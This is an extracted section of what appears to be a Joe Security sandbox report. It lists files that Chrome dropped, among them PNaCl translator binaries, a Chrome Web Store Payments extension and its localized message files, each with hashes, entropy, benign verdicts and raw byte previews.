
SHA-512: 8EF8689E00E4B210A30444D18ED6247F364995ABEB2FD272064C3AF671EEDB4D9B8B67CA56F72FEBF8F56896D4EA7EC4B10CB445FFA1C710C1F312E9DA0E48
96

Malicious: false

Antivirus: Antivirus: Metadefender, Detection: 0%, Browse
Antivirus: ReversingLabs, Detection: 0%

Preview: .ELF..............>..... .......@.........!.........@.8...@......................................................................................................................................................{......W.................................
..............@.......@...............P.td.....h.......h.......h......4b......4b..............Q.td................................................................NaCl....x86-64..............GNU.u.S.:j..,w...u...#w.......
?......Y@.......@......1@......B@......P@.....@X@.....``@......h@.....pp@.....H.@.......@.......@.......@.......@.......@....`..@.......@.......A.......A......................p................@.......
.......?.......A.........5.....?5.5...?.5.....?......P9..............PC.......?......0@................aCoc...?..`.(..?.y.P.D.?<.s..O.u......$@.......@...............@........................................ ... ....... 
.......@...`...`...`...`...................`...`...`...`...`...`...`...................................`...

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: current ar archive

Category: dropped

Size (bytes): 40552

Entropy (8bit): 4.127255967843258

Encrypted: false

SSDEEP: 768:xlP+1fzyUNVU5LmKxeOnjpD5eA/eUnUUxvT:xlP+1ryYMTekpD5eAWjuvT

MD5: 0CE951B216FCF76F754C9A845700F042

SHA1: 6F99A259C0C8DAD5AD29EE983D35B6A0835D8555

SHA-256: 7A1852EA4BB14A2A623521FA53F41F02F8BA3052046CF1AA0903CFAD0D1E1A7B

SHA-512: 7C2F9BF90EB1F43C17B4E14A077759FA9DC62A7239890975B2D6FD543B31289DC3B49AE456CA73B98DE9AC372034F340C708D23D9D3AAB05CCBDABDC56A631
4E

Malicious: false

Preview: !<arch>./               0           0     0     0       624       `...................,...8...Z(..e...e...t...t...y`..y`..y`..y`..y`..y`..y`..y`..y`..y`..y`..y`..y`..y`........................fmod.fmodf.memcmp.
memcpy.memmove.memset.__nacl_read_tp.__pnacl_init_irt.longjmp.setjmp.__Sz_fptosi_f32_i64.__Sz_fptosi_f64_i64.__Sz_fptoui_f32_i32.__Sz_fptoui_f32_i64._
_Sz_fptoui_f64_i32.__Sz_fptoui_f64_i64.__Sz_sitofp_i64_f32.__Sz_sitofp_i64_f64.__Sz_uitofp_i32_f32.__Sz_uitofp_i32_f64.__Sz_uitofp_i64_f32.__Sz_uitofp_i64_f64.n
acl_tp_tdb_offset.nacl_tp_tls_offset.__Sz_bitcast_16xi1_i16.__Sz_bitcast_8xi1_i8.__Sz_bitcast_i16_16xi1.__Sz_bitcast_i8_8xi1.__Sz_fptoui_4xi32_f32.__Sz_uitofp_4
xi32_4xf32..e_fmod.o/       0           0     0     644     2792      `..ELF..............>.....................(...........@.....@.......................................PH..AVAUATSfI.~.M..I.. E....@.
A......D..D1.......8fI.~.M.....I.. E..A......D..D..t.D....D..f....D..=....r...Y...^.[A\A]A^..@..,$J.l=....J.$<A[A...M..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: current ar archive

Category: dropped

Size (bytes): 132784

Entropy (8bit): 3.6998481247844937

Encrypted: false

SSDEEP: 384:Hf0mOXYmeKzQUIdedRFvT5p1Ee2HyAlL3O4:Hf7OXdmWRJT5p1R2HyAhO4

MD5: C37CA2EB468E6F05A4E37DF6E6020D0F

SHA1: EA787E5EADFB488632EC60D8B80B555796FA9FE9

SHA-256: C1483ED423FEE15D86E8B5D698B2CDAB89186CE7FF9C4E3D5F3F961FD80D7C6E

SHA-512: 01281DE92B281FB29E1ACA96AA64B740B65CC3A9097307827F0D8DB9E1C164C56AFCDFA0BF138EA670A596D55CE2C8D722760744E9FC9343BB6514417BF333B
A

Malicious: false

Preview: !<arch>./               0           0     0     0       942       `....;...|.......4...x..#...-...4l..E...M...U...]...n...u...~X...4.......................L......................t...p...............`......"...*...1...:...D...K...T
...\...d...r|..|0.......x...........L.......\...8..........................__clzti2.__compilerrt_fmax.__compilerrt_fmaxf.__compilerrt_logb.__compilerrt_logbf.__ctzti2.__divdc3.__divdi3.__div
moddi4.__divmodsi4.__divsc3.__divsi3.__divti3.__fixdfdi.__fixdfsi.__fixdfti.__fixsfdi.__fixsfsi.__fixsfti.__fixunsdfdi.__fixunsdfsi.__fixunsdfti.__fixunssfdi.__fixunssfsi
.__fixunssfti.__floatdidf.__floatdisf.__floatsidf.__floatsisf.__floattidf.__floattisf.__floatundidf.__floatundisf.__floatunsidf.__floatunsisf.__floatuntidf.__floatuntisf.compilerrt
_abort_impl.__moddi3.__modsi3.__modti3.__muldc3.__muloti4.__mulsc3.__multi3.__popcountdi2.__popcountsi2.__popcountti2.__powidf2.__powisf2.__udivdi3.__
udivmoddi4.__udivmodsi4.__udivmodti4.__udivsi3.__udivti3.__umoddi3.__umodsi3.

C:\Users\user\AppData\Local\Temp\1640_618172239\_platform_specific\x86_64\pnacl_public_x86_64_ld_nexe

C:\Users\user\AppData\Local\Temp\1640_618172239\_platform_specific\x86_64\pnacl_public_x86_64_libcrt_platform_a

C:\Users\user\AppData\Local\Temp\1640_618172239\_platform_specific\x86_64\pnacl_public_x86_64_libgcc_a
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: current ar archive

Category: dropped

Size (bytes): 13514

Entropy (8bit): 3.8217211433441904

Encrypted: false

SSDEEP: 192:uU9v4pXizdrEuxwk3vp20tprpdSGFwDqO:P9v4palvvc0tpFdSGFwmO

MD5: 4E8BEDA73EB7BD99528BF62B7835A3FA

SHA1: DC0F263A7B2A649D11FF7B56FE9CFAC44F946036

SHA-256: 6B835FD48DF505EB336FF6518CE7B93BB0ED854DADAA5C1EEED48D420291F62C

SHA-512: 46116B8BABC719676D68FD40D2AC82F38A3D13D8A482ADFC6FC32A99170AC3420E52CC33242CCD0FA723ABF4FA5EDBB9CE16A09C729BF04AE4AFBB2F67A1E
38B

Malicious: false

Preview: !<arch>./               0           0     0     0       94        `................._pnacl_wrapper_start.__pnacl_real_irt_query_func.__pnacl_wrap_irt_query_func..shim_entry.o/   0           
0     0     644     7392      `..ELF..............>..................... ...........@.....@.........................NaCl....x86-64..................................A.L....A.L...D...........D....A.....t+.. u..t"..A.D.....
.....A... .....A.D...........f..D..<.......................Q.......................V.......................clang version 3.7.0 (https://chromium.googlesource.com/a/native_client/pnacl-clang.git ce163f
dd0f16b4481e5cf77a16d45e9b4dc8300e) (https://chromium.googlesource.com/a/native_client/pnacl-llvm.git 7251d5b59fca15195c94a3a7da70f0081724448f).../../
ppapi/native_client/src/untrusted/pnacl_irt_shim/shim_entry.c./mnt/data/b/build/slave/sdk/build/src/out_pnacl/x64.NACL_STARTUP_FINI.NACL_STARTUP_ENVC.
NACL_STARTUP_ARGC.NACL_STARTUP_ARGV.NaClStartupInfoIndex.unsigned int.size_t.char.TYPE_na

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: current ar archive

Category: dropped

Size (bytes): 2078

Entropy (8bit): 3.21751839673526

Encrypted: false

SSDEEP: 24:MOcpdhWE5O/bZbmT3296bmT3TwQwDnvD/+R3:MHuECdaTS6aTTwXDvD/+l

MD5: F950F89D06C45E63CE9862BE59E937C9

SHA1: 9CFAD34139CC428CE0C07A869C15B71A9632365D

SHA-256: 945B1C8A1666CBF05E8B8941B70D9D044BAAFB59B006F728F8995072DE7C4C40

SHA-512: F9AFBB800A875EDCC63DEA4986179E73632B3182951A99C8B3D37DB454EFD7CC7192ECA5AC87514918A858BAD6DAEAB59548CA2E90EADA9900EF5B9F08E62
CFC

Malicious: false

Preview: !<arch>./               0           0     0     0       30        `........._pnacl_wrapper_start..//                                              20        `.dummy_shim_entry.o/./0              0           0   
  0     644     1840      `..ELF..............>.................................@.....@.......................................PH..,$J.l=....J.$<.....f..D......................................NaCl....x86-64...clang version 
3.7.0 (https://chromium.googlesource.com/a/native_client/pnacl-clang.git ce163fdd0f16b4481e5cf77a16d45e9b4dc8300e) (https://chromium.googlesource.com/a/native
_client/pnacl-llvm.git 7251d5b59fca15195c94a3a7da70f0081724448f)............zR..x...................... ....C....C..... .........................rela.text..comment..bss..group..note.GNU-
stack..rela.eh_frame..shstrtab..strtab..symtab..data..note.NaCl.ABI.x86-64.....................................................................................................................................................

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=309d6d3d463e6b1b0690f39eb226b1e4c469b2ce, stripped

Category: dropped

Size (bytes): 14091416

Entropy (8bit): 5.928868737447095

Encrypted: false

SSDEEP: 196608:tKVqXp3Qev4dg6ilfHM8KLM2J3jqjnkZ:uqufB

MD5: 9B159191C29E766EBBF799FA951C581B

SHA1: D1D4BBC63AB5FC1E4A54EB7B82095A6F2CE535EE

SHA-256: 2F4A3A0730142C5EE4FA2C05D27A5DEFC18886A382D45F5DB254B61B28ED642B

SHA-512: 0B4FF60B5428F81B8B1BCF3328CF80CBD88D8CE5E8BDBC236B06D5A54E7CF26168A3ABB348D87423DA613AB3F0B4D9B37CB5180804839F1CA158EC2B315DDF
00

Malicious: false

Antivirus: Antivirus: Metadefender, Detection: 0%, Browse
Antivirus: ReversingLabs, Detection: 0%

Preview: .ELF..............>..... .......@...................@.8...@...............$.....................................................................................................................!.......!......'......G...................................
............@.......@...............P.td............................D.......D...............Q.td................................................................NaCl....x86-64..............GNU.0.m=F>k....&...i......................
..0C......0C..0C..0E..............0C......0E.-DT.!.?.-DT.!.........................?........-DT.!...-DT.!.?.......?......................?..............?."..."..."..."......@.......`...................... ...@...`.................
..... ...@...`...................... ...@...`...................... ...@...`.......................................`... ...@...`...........`...`.......@...@....... ....1..`3.. 4..`-..`-...:...:...F..@H..`H...H...F...F...G...H.. H.
..F..@G...I.. I..@I..@G...G...I...I...J...G..`I..

C:\Users\user\AppData\Local\Temp\1640_618172239\_platform_specific\x86_64\pnacl_public_x86_64_libpnacl_irt_shim_a

C:\Users\user\AppData\Local\Temp\1640_618172239\_platform_specific\x86_64\pnacl_public_x86_64_libpnacl_irt_shim_dummy_a

C:\Users\user\AppData\Local\Temp\1640_618172239\_platform_specific\x86_64\pnacl_public_x86_64_pnacl_llc_nexe

Copyright Joe Security LLC 2022 Page 35 of 222

https://www.metadefender.com/#!/results/file/bzIyMDIwN1VUZHdoT3ZHM0QwX2tlMk51MHo/regular/analysis


Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=4b15de4ab227d5e46213978b8518d53c53ce1db9, stripped

Category: dropped

Size (bytes): 1901720

Entropy (8bit): 5.955741933854651

Encrypted: false

SSDEEP: 12288:gXqUSpBjwQO2o8k+7zjidg4euCAauOILffvCpGy4Wh3BTFmHpq82K2/KsvPyla9d:gafZwcOdNe2auOepCBTFmJq3Kf8ksr

MD5: 9DC3172630E525854B232FF71499D77C

SHA1: 0082C58EDCE3769E90DB48E7C26090CE706AD434

SHA-256: 6AA1DA6C264E0AF4E32A004F4076C7557C6AC6D9C38B0C5DE97302D83FA248C3

SHA-512: 9E9584241A39EED1463D7D4C1B26AE570B839AA315778FF3400C61341EBA43B630307DE9F1532A265CA82EA69BDEA03EC9D963E59A18569C02DA8285449870FE

Malicious: false

Antivirus: Antivirus: Metadefender, Detection: 0%, Browse
Antivirus: ReversingLabs, Detection: 0%

Preview: .ELF..............>..... .......@...................@.8...@.............................................................................................0.......0................................................Y........................................
..............@.......@...............P.td....t^......t^......t^.......W.......W..............Q.td................................................................NaCl....x86-64..............GNU.K..J.'..b......<S...`...`... ...@...
@.......@.............................................Y@......................p................@.......?..............?.......A.........5.....?5.5...?.5.....?......P9..............PC.......?......0@................aCoc...?..`.(..?
.y.P.D.?<.s..O.u......$@.......@...............@`...`.......@.................................................. ...`... ... .......`................... ... ...@...`.......................@... Z...[...[...e.......... ...@... ...@..
.`........0...0...2..`4.. 6...7...9...~...~...z...{...{..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 66

Entropy (8bit): 3.928261499316817

Encrypted: false

SSDEEP: 3:STDLGswXEVBcVdBiTDt3zLsW:SPLGLErcVdBiDtf3

MD5: C00BCE97F21B1AD61EB9B8CD001795EE

SHA1: 8E0392FF3DB267D847711C3F4E0D7468060E1535

SHA-256: 59F06F04230E32E8BC839F45B984D31D611930427B631C963D09E7064A602363

SHA-512: 9930E44A6ECC62505DBADCEED5E05645909FF09816FB12AAC0414E6D2830AC09758366C3B7D4EDD7839C87EB16DFA4C66D8981AE6237D408B37135C3506F4CD
2

Malicious: false

Preview: 1.6f6bc93dcd62dc251850d2ff458fda96083ceb7fbe8eeb11248b8485ef2aea23

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text

Category: dropped

Size (bytes): 573

Entropy (8bit): 4.859567579783832

Encrypted: false

SSDEEP: 12:BLqG6yDJmL4mLDlG9hQ181G46XzrXc+EFfNqpaiOc+T5NqXIOclNqXL:BkylmL4mLDlJ18116XsRNqtZeNqXIZlE

MD5: 1863B86D0863199AFDA179482032945F

SHA1: 36F56692E12F2A1EFCA7736C236A8D776B627A86

SHA-256: F14E451CE2314D29087B8AD0309A1C8B8E81D847175EF46271E0EB49B4F84DC5

SHA-512: 836556F3D978A89D3FC1F07FCED2732A17E314ED6A021737F087E32A69BFA46FD706EBBDFD3607FF42EDCB75DC463C29B9D9D2F122504F567BB95844F579831B

Malicious: false

Preview: {."update_url": "https://clients2.google.com/service/update2/crx",..  "description": "Portable Native Client Translator Multi-CRX",.  "name": "PNaCl Translator Multi-CRX",.  
"manifest_version": 2,.  "minimum_chrome_version": "30.0.0.0",.  "version": "0.57.44.2492",.  "platforms": [.    {.      "nacl_arch": "x86-32",.      "sub_package_path": "_plat
form_specific/x86_32/".    },.    {.      "nacl_arch": "x86-64",.      "sub_package_path": "_platform_specific/x86_64/".    },.    {.      "nacl_arch": "arm",.      "sub_package_pa
th": "_platform_specific/arm/".    }.  ].}.

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: Google Chrome extension, version 3

Category: dropped

Size (bytes): 248531

Entropy (8bit): 7.963657412635355

C:\Users\user\AppData\Local\Temp\1640_618172239\_platform_specific\x86_64\pnacl_public_x86_64_pnacl_sz_nexe

C:\Users\user\AppData\Local\Temp\1640_618172239\manifest.fingerprint

C:\Users\user\AppData\Local\Temp\1640_618172239\manifest.json

C:\Users\user\AppData\Local\Temp\40170f90-431d-464c-874a-052c18838f36.tmp
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Encrypted: false

SSDEEP: 3072:r+nmRykNgoldZ8GjJCiUXZSk+QSVh85PxEalRVHmcld9R6yYfEp4ABUGDcaKklrv:k3oF4Z4h45P99Fld9RBQYBVcaxlnfL

MD5: 541F52E24FE1EF9F8E12377A6CCAE0C0

SHA1: 189898BB2DCAE7D5A6057BC2D98B8B450AFAEBB6

SHA-256: 81E3A4D43A73699E1B7781723F56B8717175C536685C5450122B30789464AD82

SHA-512: D779D78A15C5EFCA51EBD6B96A7CCB6D718741BDF7D9A37F53B2EB4B98AA1A78BC4CFA57D6E763AAB97276C8F9088940AC0476690D4D46023FF4BF52F3326C
88

Malicious: false

Preview: Cr24..............0.."0...*.H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.|
1..n.<Fb..f..*Q1.....s..2..{*.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-*eu...b.........\..F!...b...l5....zJ.q.......L].....w[T0.6....E.....r..%Z.vFm.9..5!,.~g5...;.t...']....+A.....u..
..k...e..&..l.6r[yU...%..f.......N..V.....<+.....l..}.{...z...)y.n..'..).....,.b....5.08K%..O.g..D.S.F5o..<(....>....\f..X..I..2."l...w....7f|.~.c.4.E.......0..0...*.H............0.......).'..b.*$w\$.q&.]zF_2..
;...?.U,...W..L1.2...R..#....W.....c1k.$W..$.J....+M!.Hz.n`U.I)N.|b.l....{.K@]6.LlP/....](.A..................I...).H....IQ.y.;MG.d..ix..#f.Z$|..|.?...0K...t"i..s...Y..%.Ky....0...{.!+.~v.;....J.....Z
....).(6..@?v.;~..2..c....[0Y0...*.H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. .0...|!..A..L.+.=...kP.!.1..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: very short file (no magic)

Category: dropped

Size (bytes): 1

Entropy (8bit): 0.0

Encrypted: false

SSDEEP: 3:L:L

MD5: 5058F1AF8388633F609CADB75A75DC9D

SHA1: 3A52CE780950D4D969792A2559CD519D7EE8C727

SHA-256: CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8

SHA-512: 0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F2
5F21

Malicious: false

Preview: .

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: Google Chrome extension, version 3

Category: dropped

Size (bytes): 248531

Entropy (8bit): 7.963657412635355

Encrypted: false

SSDEEP: 3072:r+nmRykNgoldZ8GjJCiUXZSk+QSVh85PxEalRVHmcld9R6yYfEp4ABUGDcaKklrv:k3oF4Z4h45P99Fld9RBQYBVcaxlnfL

MD5: 541F52E24FE1EF9F8E12377A6CCAE0C0

SHA1: 189898BB2DCAE7D5A6057BC2D98B8B450AFAEBB6

SHA-256: 81E3A4D43A73699E1B7781723F56B8717175C536685C5450122B30789464AD82

SHA-512: D779D78A15C5EFCA51EBD6B96A7CCB6D718741BDF7D9A37F53B2EB4B98AA1A78BC4CFA57D6E763AAB97276C8F9088940AC0476690D4D46023FF4BF52F3326C
88

Malicious: false

Preview: Cr24..............0.."0...*.H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.|
1..n.<Fb..f..*Q1.....s..2..{*.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-*eu...b.........\..F!...b...l5....zJ.q.......L].....w[T0.6....E.....r..%Z.vFm.9..5!,.~g5...;.t...']....+A.....u..
..k...e..&..l.6r[yU...%..f.......N..V.....<+.....l..}.{...z...)y.n..'..).....,.b....5.08K%..O.g..D.S.F5o..<(....>....\f..X..I..2."l...w....7f|.~.c.4.E.......0..0...*.H............0.......).'..b.*$w\$.q&.]zF_2..
;...?.U,...W..L1.2...R..#....W.....c1k.$W..$.J....+M!.Hz.n`U.I)N.|b.l....{.K@]6.LlP/....](.A..................I...).H....IQ.y.;MG.d..ix..#f.Z$|..|.?...0K...t"i..s...Y..%.Ky....0...{.!+.~v.;....J.....Z
....).(6..@?v.;~..2..c....[0Y0...*.H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. .0...|!..A..L.+.=...kP.!.1..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 796

Entropy (8bit): 4.864931792423268

Encrypted: false

SSDEEP: 12:1HEJMLkSlwZGGMLkSlwZ+WYpU34f145Gb+dgoxTyO8ZpU34f1L0frhmJ03OyZnLt:1HE7n4gn8WYpYrbhz8ZpotHOGAOf6aD

MD5: 6F8E288A9AD5B1ED8633B430E2B4D4CA

SHA1: F671D3D4BEFA431D1946D706F4192D44E29B6F08

SHA-256: A114E2783D0E9B12155017323BA70838F0F82A71C7EE8DC1F115AE36991241F8

C:\Users\user\AppData\Local\Temp\d4744ca1-4a1e-445a-848e-4ce30fc134b6.tmp

C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\40170f90-431d-464c-874a-052c18838f36.tmp

C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\bg\messages.json
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SHA-512: 0F87F3F0D115B872288949E59ACD3CD41B1FBC64A622D8FDA6D71FAFC5A900D92ADFBB0E7EB926F2A8759BBAA0896D48728FB719BBF5EF54AC21027328F770
0C

Malicious: false

Preview: {..   "app_description": {..      "message": "........ . ... ........ .. Chrome"..   },..   "app_name": {..      "message": "........ . ... ........ .. Chrome"..   },..   "craw_app_unavailable": {..      
"message": "........... .... ...... .. ............."..   },..   "craw_connect_to_network": {..      "message": "...., ........ .. . ......"..   },..   "iap_unavailable": {..      "message": "........... .... 
...... .. .......... ....... .. ........."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "...., ...... . 
Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 675

Entropy (8bit): 4.536753193530313

Encrypted: false

SSDEEP: 12:1HEJ0gbbGG0gbb+WYpU34g3YbiLO+dgyGFoO8ZpU34+puiPmb03OyZnLAOfTYABk:1HE5baib6WYpm31Lt0Z8Zp8pxOGAOfKD

MD5: 1FDAFC926391BD580B655FBAF46ED260

SHA1: C95743C3F43B2B099FEBEBC5BD850F0C20E820AC

SHA-256: C67898B67F9C9209EAFDA6532B62D5789863CFB855998DD6A70E7775316CEC20

SHA-512: 39D95D45C5746DA3BAA7AE6A3344EA17D7A7C3569C2A56959FF119261DA08C747A320FCF701AC72B8DBDBF8BF06FD8B239017A282CDDA444F3826D4EC672CB
B4

Malicious: false

Preview: {..   "app_description": {..      "message": "Sistema de pagaments de Chrome Web Store"..   },..   "app_name": {..      "message": "Sistema de pagaments de Chrome Web 
Store"..   },..   "craw_app_unavailable": {..      "message": "Ara mateix aquesta aplicaci. no est. disponible."..   },..   "craw_connect_to_network": {..      "message": "C
onnecteu-vos a una xarxa."..   },..   "iap_unavailable": {..      "message": "La funci. Pagaments a l'aplicaci. no est. disponible actualment."..   },..   "jwt_retrieve_failed": {..      
"message": "The transaction could not be completed."..   },..   "please_sign_in": {..      "message": "Inicieu la sessi. a Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 641

Entropy (8bit): 4.698608127109193

Encrypted: false

SSDEEP: 12:1HEJfZGGfZ+WYpU34OBh+dgN/O8ZpU34j05U03OyZnLAOfTYWc:1HEl4G8WYpdt8Zpq5TOGAOfW

MD5: 76DEC64ED1556180B452A13C83171883

SHA1: CFB1E56FD587BCDC459C1D9A683B71F9849058F9

SHA-256: 32290D69A90E6BAAC428B10382C99221B12773BB9A184F3B93DFB48A4F6D7A40

SHA-512: 5230A217968D5DC463E2E92D704544311A721E5CEF65C3125CBD8DEB9C0293D3BFB5C820A6011ABF77095FDEE7DAF67D541DC202B0C9CDB0908CBB85D84885
CB

Malicious: false

Preview: {..   "app_description": {..      "message": "Platby Internetov.ho obchodu Chrome"..   },..   "app_name": {..      "message": "Platby Internetov.ho obchodu Chrome"..   },..   
"craw_app_unavailable": {..      "message": "Aplikace v sou.asn. dob. nen. dostupn.."..   },..   "craw_connect_to_network": {..      "message": "P.ipojte se pros.m k s.ti."..   
},..   "iap_unavailable": {..      "message": "Platby v aplikaci aktu.ln. nejsou k dispozici."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be 
completed."..   },..   "please_sign_in": {..      "message": "P.ihlaste se do Chromu."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 624

Entropy (8bit): 4.5289746475384565

Encrypted: false

SSDEEP: 12:1HEJJMKKFZGGJMKKFZ+WYpU34OHu+dgxlCZO8ZpU34J4Wu03OyZnLAOfTYzD:1HErMKfqMKVWYpM6lL8ZpDNOGAOfiD

MD5: 238B97A36E411E42FF37CEFAF2927ED1

SHA1: 4E47AC90BA24C8F4724D9293FA40CFD4ADA66FE0

SHA-256: 4977D4A053542FF66967FAED6B06585DD70E68E20BFEB533B66FE3287F9655D9

SHA-512: FD0742D47B5F5AB9AAD9B4C3D57F63CB693E060EECE123A72036C6E92156D099495C7E9E9CC6DC83EEBCDDCC4B4C81FB47E4C9559DA3EBA024780FFF10C53
E0A

Malicious: false

Preview: {..   "app_description": {..      "message": "Betalinger i Chrome Webshop"..   },..   "app_name": {..      "message": "Betalinger i Chrome Webshop"..   },..   "craw_app_u
navailable": {..      "message": "Appen er ikke tilg.ngelig i .jeblikket."..   },..   "craw_connect_to_network": {..      "message": "Opret forbindelse til et netv.rk."..   },..   
"iap_unavailable": {..      "message": "Betaling i appen er ikke tilg.ngelig i .jeblikket."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be comp
leted."..   },..   "please_sign_in": {..      "message": "Log ind p. Chrome."..   }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\ca\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\cs\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\da\messages.json

Copyright Joe Security LLC 2022 Page 38 of 222



Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 651

Entropy (8bit): 4.583694000020627

Encrypted: false

SSDEEP: 12:1HEJQ1ZGGQ1Z+WYpU34pCEMT+dgJMlCTO8ZpU34p6FK603OyZnLAOfTYJ6K:1HEzWWYp3Bewv8Zp7k4OGAOfQj

MD5: 6B3E916E8C1991AA0453CBA00FEDCAAA

SHA1: D6366D15912E40CA107FD42BFE9579C3336A51F9

SHA-256: A62FFAB910E31531758EEE48B2CC71A8857BEC3021DEAD50B668CBA3C8667053

SHA-512: 87EA4311B61F29543B13F3E17DFA919D0C320B4FE370CC152E0B1514BCA79B0ABB526DDCF08621D6EBFA48923EE8FB4C667EFB120A72BD9583EEBEE7BFB80
552

Malicious: false

Preview: {..   "app_description": {..      "message": "Chrome Web Store-Zahlungen"..   },..   "app_name": {..      "message": "Chrome Web Store-Zahlungen"..   },..   "craw_app_una
vailable": {..      "message": "Die App ist momentan nicht verf.gbar."..   },..   "craw_connect_to_network": {..      "message": "Bitte stellen Sie eine Verbindung zu einem 
Netzwerk her."..   },..   "iap_unavailable": {..      "message": "In-App-Zahlungen sind momentan nicht m.glich."..   },..   "jwt_retrieve_failed": {..      "message": "The trans
action could not be completed."..   },..   "please_sign_in": {..      "message": "Bitte melden Sie sich in Chrome an."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: UTF-8 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 787

Entropy (8bit): 4.973349962793468

Encrypted: false

SSDEEP: 24:1HEw+aZ+6WYpbWZe80A08ZpCGyDVWlOGAOf+XD:WguYpCZnpEZbGoD

MD5: 05C437A322C1148B5F78B2F341339147

SHA1: AB53003A678E44A170E73711FBD9949833BBF3AA

SHA-256: A052C32B4FCAC61152EB0ADB2C260FB6A8256AD104AA0013DB93E9798D41A070

SHA-512: C36CB9202A34356DD06D377E2A088F428D0B8EBE7D2E54F8380485E9D94A0598D7F651C1E7A2FD55BE481D49C02B0812F2BA335E08611EC85EE0BD60784A6B4
0

Malicious: false

Preview: {..   "app_description": {..      "message": "........ ... Chrome Web Store"..   },..   "app_name": {..      "message": "........ ... Chrome Web Store"..   },..   "craw_app_unavail
able": {..      "message": ". ........ .... .. ..... ... ..... .........."..   },..   "craw_connect_to_network": {..      "message": ".......... .. ... ......."..   },..   "iap_unavailable": {..      
"message": ".. ........ ..... ......... ... ..... ..... .. ...... ..........."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": 
{..      "message": ".......... ... Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 593

Entropy (8bit): 4.483686991119526

Encrypted: false

SSDEEP: 12:1HEJ6GG6+WYpU34OuFpR+dgGfFZO8ZpU34aEGFpR03OyZnLAOfTYdD:1HEVSWYpVp0JS8Zp5KpaOGAOfuD

MD5: 91F5BC87FD478A007EC68C4E8ADF11AC

SHA1: D07DD49E4EF3B36DAD7D038B7E999AE850C5BEF6

SHA-256: 92F1246C21DD5FD7266EBFD65798C61E403D01A816CC3CF780DB5C8AA2E3D9C9

SHA-512: FDC2A29B04E67DDBBD8FB6E8D2443E46BADCB2B2FB3A850BBD6198CDCCC32EE0BD8A9769D929FEEFE84D1015145E6664AB5FEA114DF5A864CF963BF98A65
FFD9

Malicious: false

Preview: {..   "app_description": {..      "message": "Chrome Web Store Payments"..   },..   "app_name": {..      "message": "Chrome Web Store Payments"..   },..   "craw_app_unava
ilable": {..      "message": "App currently unavailable."..   },..   "craw_connect_to_network": {..      "message": "Please connect to a network."..   },..   "iap_unavailable": {..      
"message": "In-App Payments is currently unavailable."..   },..   "jwt_retrieve_failed": {..      "message": "The transaction could not be completed."..   },..   "please_sign_in": 
{..      "message": "Please sign into Chrome."..   }..}..

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\de\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\el\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\en\messages.json

C:\Users\user\AppData\Local\Temp\scoped_dir1640_1511851303\CRX_INSTALL\_locales\en_GB\messages.json
